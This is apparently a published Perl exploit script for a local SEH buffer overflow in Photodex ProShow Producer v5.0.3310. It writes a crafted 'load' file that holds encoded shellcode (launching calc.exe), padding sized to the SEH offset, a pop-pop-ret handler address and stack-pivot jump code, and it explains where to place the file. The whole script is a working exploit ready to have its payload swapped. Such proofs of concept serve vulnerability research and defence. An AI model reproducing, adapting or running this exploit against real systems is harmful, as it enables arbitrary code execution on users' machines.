#!/usr/bin/perl ############################################ ############################################ # Exploit Title: Photodex ProShow Producer v5.0.3310 - Local Buffer Overflow (SEH) # Date: 10-26-2013 # Exploit Author: Mike Czumak (T_v3rn1x) -- @SecuritySift # Vulnerable Software: Photodex ProShow Producer v5.0.3310 # Software Link: http://files.photodex.com/release/pspro_50_3310.exe # Version: 5.0.3310 # Tested On: Windows XP SP3 ############################################ ############################################ # Credits: # # Vulnerability identified in v5.0.3256 # by Julien Ahrens # http://www.exploit-db.com/exploits/19563/ # # Egghunter SEH exploit for v5.0.3256 # by mr.pr0n # http://www.exploit-db.com/exploits/20036/ ############################################ ############################################ # Details: # Latest Proshow version confirmed still vulnerable (same offets as exploit by mr.pron) # This sploit uses a jump to an offset of ESP instead of an egghunter # The seh exploit looks like this: shellcode-->junk-->next seh-->seh-->jumpcode # Replace load file in app folder (e.g. C:\Program Files\Photodex\ProShow Producer) ########################################### ############################################# my $buffsize = 15000; # keep size of exploit buffer consistent my $shell = "\x90" x 100; # since we're jumping ~60 bytes past the start of our buffer # start the shellcode with enough nops # Calc.exe payload [size 227] # msfpayload windows/exec CMD=calc.exe R | # msfencode -e x86/shikata_ga_nai -c 1 -b '\x00\x0a\x0d\xff' my $shell = $shell . "\xdb\xcf\xb8\x27\x17\x16\x1f\xd9\x74\x24\xf4\x5f\x2b\xc9" . "\xb1\x33\x31\x47\x17\x83\xef\xfc\x03\x60\x04\xf4\xea\x92" . "\xc2\x71\x14\x6a\x13\xe2\x9c\x8f\x22\x30\xfa\xc4\x17\x84" . "\x88\x88\x9b\x6f\xdc\x38\x2f\x1d\xc9\x4f\x98\xa8\x2f\x7e" . "\x19\x1d\xf0\x2c\xd9\x3f\x8c\x2e\x0e\xe0\xad\xe1\x43\xe1" . "\xea\x1f\xab\xb3\xa3\x54\x1e\x24\xc7\x28\xa3\x45\x07\x27" . "\x9b\x3d\x22\xf7\x68\xf4\x2d\x27\xc0\x83\x66\xdf\x6a\xcb" . "\x56\xde\xbf\x0f\xaa\xa9\xb4\xe4\x58\x28\x1d\x35\xa0\x1b" . "\x61\x9a\x9f\x94\x6c\xe2\xd8\x12\x8f\x91\x12\x61\x32\xa2" . "\xe0\x18\xe8\x27\xf5\xba\x7b\x9f\xdd\x3b\xaf\x46\x95\x37" . "\x04\x0c\xf1\x5b\x9b\xc1\x89\x67\x10\xe4\x5d\xee\x62\xc3" . "\x79\xab\x31\x6a\xdb\x11\x97\x93\x3b\xfd\x48\x36\x37\xef" . "\x9d\x40\x1a\x65\x63\xc0\x20\xc0\x63\xda\x2a\x62\x0c\xeb" . "\xa1\xed\x4b\xf4\x63\x4a\xa3\xbe\x2e\xfa\x2c\x67\xbb\xbf" . "\x30\x98\x11\x83\x4c\x1b\x90\x7b\xab\x03\xd1\x7e\xf7\x83" . "\x09\xf2\x68\x66\x2e\xa1\x89\xa3\x4d\x24\x1a\x2f\xbc\xc3" . "\x9a\xca\xc0"; my $junk = "\x41" x (9844 - length($shell)); # 9844 is the offset to nseh my $nseh = "\xeb\x08\x90\x90"; # overwrite next seh with jmp instruction my $seh = pack('V',0x1022adc9); # overwrite seh handler with pop ebx pop eax ret # ASLR: False, Rebase: False, SafeSEH: False, OS: False # C:\Program Files\Photodex\ProShow Producer\if.dnt # we don't have enough space to execute shellcode after the nseh jump # there is enough space at esp + 1041 which points back to the beginning # of our buffer so we'll use this limited spaceto increment esp and jump to it my $jmp = "\x90" x 20; # start the jmp code with some nops my $jmp = $jmp . "\x41\x41"; # align so add esp executes properly my $jmp = $jmp . "\x83\xc4\x64" x 11; # increment esp before we jump to it; (add esp, 100) x 11 = esp + 1100 my $jmp = $jmp . "\xff\xe4"; # jmp esp my $sploit = $shell.$junk.$nseh.$seh.$jmp; # concatenate the sploit portion of the buffer my $fill = "\x42" x ($buffsize - length($sploit)); # fill the remainder of the buffer with junk to keep it consistent my $buffer = $sploit.$fill; # build the final buffer # write the exploit buffer to file my $file = "load"; open(FILE, ">$file"); print FILE $buffer; close(FILE); print "Exploit file [" . $file . "] created\n"; print "Buffer size: " . length($buffer) . "\n";